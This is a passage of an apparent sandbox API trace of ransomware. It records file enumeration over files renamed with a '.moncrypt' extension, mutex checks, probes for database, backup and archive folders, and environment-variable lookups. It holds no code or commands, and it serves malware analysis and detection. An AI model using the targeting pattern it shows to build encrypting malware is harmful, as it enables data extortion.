ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.287] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.287] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.287] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.287] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.287] GlobalUnlock (hMem=0x44000c) returned 0 [0054.287] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.287] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.288] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.288] GlobalUnlock (hMem=0x44000c) returned 0 [0054.288] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.288] GlobalUnlock (hMem=0x440004) returned 0 [0054.288] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.288] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM.moncrypt", cAlternateFileName="STRTED~1.MON")) returned 1 [0054.288] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.288] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.288] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.288] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.288] GlobalUnlock (hMem=0x440004) returned 0 [0054.288] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.288] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.288] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.288] GlobalUnlock (hMem=0x440004) returned 0 [0054.288] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.288] GlobalUnlock (hMem=0x44000c) returned 0 [0054.288] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.288] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0054.288] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.288] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.288] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.288] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.288] GlobalUnlock (hMem=0x44000c) returned 0 [0054.288] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.288] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.288] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.288] GlobalUnlock (hMem=0x44000c) returned 0 [0054.288] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.289] GlobalUnlock (hMem=0x440004) returned 0 [0054.289] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.289] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x838c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0054.289] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.289] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.289] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.289] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.289] GlobalUnlock (hMem=0x440004) returned 0 [0054.289] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.289] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.289] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.289] GlobalUnlock (hMem=0x440004) returned 0 [0054.289] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.289] GlobalUnlock (hMem=0x44000c) returned 0 [0054.289] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.289] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x838c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0054.289] GetLastError () returned 0x12 [0054.289] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.290] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0054.290] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.290] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.290] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.290] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.290] GlobalUnlock (hMem=0x44000c) returned 0 [0054.290] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.290] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.290] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.290] GlobalUnlock (hMem=0x44000c) returned 0 [0054.290] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.290] GlobalUnlock (hMem=0x440004) returned 0 [0054.290] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.290] GlobalLock (hMem=0x440004) returned 0x550170 [0054.290] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.290] GlobalUnlock (hMem=0x440004) returned 0 [0054.290] GlobalLock (hMem=0x440004) returned 0x550170 [0054.291] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.291] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.291] GlobalUnlock (hMem=0x440004) returned 0 [0054.291] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.291] GlobalUnlock (hMem=0x44000c) returned 0 [0054.291] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.291] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO", len=0x3e | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO") returned 1 [0054.291] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.291] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.291] GlobalUnlock (hMem=0x44000c) returned 0 [0054.291] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.291] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.291] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.291] GlobalUnlock (hMem=0x44000c) returned 0 [0054.291] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.291] GlobalUnlock (hMem=0x440004) returned 0 [0054.291] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夎U壢U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0054.292] GetLastError () returned 0x3 [0054.292] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.292] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0054.292] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0054.292] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0054.292] GetLastError () returned 0x2 [0054.292] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.292] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0054.293] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@몤R企@\x18?T\x18;")) returned 0xffffffff [0054.293] GetLastError () returned 0x2 [0054.293] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.293] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0054.293] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18?T\x18D")) returned 0xffffffff [0054.293] GetLastError () returned 0x2 [0054.294] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.294] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0054.294] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.294] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@塤U企@\x18몤R\x18j")) returned 0xffffffff [0054.294] GetLastError () returned 0x2 [0054.294] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.294] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.294] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.294] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18?T\x18q")) returned 0xffffffff [0054.294] GetLastError () returned 0x2 [0054.295] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.295] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\몠RP") returned 6 [0054.295] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.295] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@셤R企@\x18?T\x18y")) returned 0xffffffff [0054.295] GetLastError () returned 0x2 [0054.295] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.295] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0054.295] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.295] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0054.295] GetLastError () returned 0x2 [0054.295] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0054.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18?T\x18\x88")) returned 0xffffffff [0054.296] GetLastError () returned 0x2 [0054.296] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0054.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@셤R企@\x18?T\x18\x8f")) returned 0xffffffff [0054.296] GetLastError () returned 0x2 [0054.296] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.297] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0054.297] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.297] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0054.297] GetLastError () returned 0x2 [0054.297] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.297] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0054.297] GlobalLock (hMem=0x440004) returned 0x550170 [0054.297] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.297] GlobalUnlock (hMem=0x440004) returned 0 [0054.297] GlobalLock (hMem=0x440004) returned 0x550170 [0054.297] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.297] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.297] GlobalUnlock (hMem=0x440004) returned 0 [0054.297] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.297] GlobalUnlock (hMem=0x44000c) returned 0 [0054.297] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.297] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.298] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0054.298] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.298] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0054.298] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server 